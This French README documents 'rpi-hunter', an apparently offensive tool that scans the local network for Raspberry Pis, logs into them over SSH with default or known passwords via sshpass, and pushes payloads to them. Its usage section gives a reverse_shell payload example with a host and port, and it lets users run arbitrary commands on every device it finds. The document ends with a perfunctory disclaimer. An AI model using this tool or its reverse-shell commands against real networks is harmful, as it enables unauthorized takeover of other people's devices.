rpi-hunter

• Automatiser la découverte et le dépôt de charges utiles sur les Raspberry Pi du réseau local via SSH
• Ou, le titre honnête : Automatiser sshpass pour la livraison de commandes.

Rpi-hunter est utile lorsque plusieurs Raspberry Pi sont présents sur votre réseau local avec des identifiants par défaut ou connus, afin d'automatiser l'envoi de commandes/charges utiles.

GUIDE :

Installation

1. Installer les dépendances : sudo pip install -U argparse termcolor et sudo apt -y install arp-scan tshark sshpass
2. Télécharger rpi-hunter : git clone https://github.com/BusesCanFly/rpi-hunter
3. Se déplacer dans rpi-hunter : cd ./rpi-hunter
4. Rendre rpi-hunter.py exécutable : chmod +x rpi-hunter.py

• Variante en une ligne : sudo pip install -U argparse termcolor && sudo apt -y install arp-scan tshark sshpass && git clone https://github.com/BusesCanFly/rpi-hunter && cd ./rpi-hunter && chmod +x rpi-hunter.py

Utilisation

Regardez cette super vidéo et l'article qui l'accompagne, réalisés par les gens de NullByte !

• Remarque : Pour les nouveaux, j'ai fait quelques mises à jour de rpi-hunter pour corriger des bugs et ajouter des fonctionnalités :) Exécuter la commande ./rpi-hunter.py analysera automatiquement tout votre réseau local et exécutera la commande whoami sur chaque Raspberry Pi trouvé.

usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
                     [-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
                     [--safe] [-q]

optional arguments:
  -h, --help         show this help message and exit
  --list             List available payloads
  --no-scan          Disable ARP scanning
  -r IP_RANGE        IP range to scan
  -f IP_LIST         IP list to use (Default ./scan/RPI_list)
  -u UNAME           Username to use when ssh'ing
  -c CREDS           Password to use when ssh'ing
  --payload PAYLOAD  (Name of, or raw) Payload [ex. reverse_shell or 'whoami']
  -H HOST            (If using reverse_shell payload) Host for reverse shell
  -P PORT            (If using reverse_shell payload) Port for reverse shell
  --safe             Print sshpass command, but don't execute it
  -q                 Don't print banner

• Exécutez ./rpi-hunter.py --list pour voir les charges utiles disponibles.

• Les charges utiles peuvent être spécifiées par leur nom depuis --list ou en entrée brute.

  • ex. --payload reverse_shell ou --payload [votre commande CLI ici]

• Exemple d'utilisation :

  • ./rpi-hunter.py -r 192.168.0.0/16 --payload reverse_shell -H 127.0.0.1 -P 1337
    • Remarque : seule la charge utile "reverse_shell" nécessite les drapeaux -H et -P
  • ./rpi-hunter.py -c lamepassword --payload "ls -lah \~"
    • Remarque : pensez à échapper les caractères spéciaux avec un \

Avertissement :

La clause de non-responsabilité Internet standard s'applique. Ne commettez pas de crimes, soyez responsable.

Je ne suis en aucun cas responsable de tout ce que vous faites avec rpi-hunter.